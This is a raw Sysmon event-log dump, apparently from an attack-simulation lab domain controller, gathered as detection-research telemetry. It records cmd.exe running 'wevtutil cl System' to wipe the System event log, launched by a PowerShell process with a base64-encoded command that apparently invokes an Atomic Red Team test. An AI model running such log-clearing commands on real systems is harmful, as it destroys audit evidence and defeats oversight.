09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004258Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004257Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004256Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004255Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004254Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004253Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004252Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2920-5F80-DC00-000000007F01}2808C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004251Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2920-5F80-DC00-000000007F01}2808C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c37b8(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c362c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd145e58(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0bc214(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb75407(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0e2edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c63d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0b8356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0f14e6(wow64) 154100x80000000000000004250Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.365{A5F018FF-2920-5F80-DC00-000000007F01}2808C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Exe"C:\Windows\system32\cmd.exe" /c "wevtutil cl System" C:\Users\ADMINI~1\AppData\Local\Temp\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA== 10341000x80000000000000004420Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.937{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004419Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.937{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004418Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.937{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004417Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:57.891{A5F018FF-2921-5F80-E500-000000007F01}4600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\dsk4kpgr.dll2020-10-09 09:10:57.797 10341000x80000000000000004416Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-E600-000000007F01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004415Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004414Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004413Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004412Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004411Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004410Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004409Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.891{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004408Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 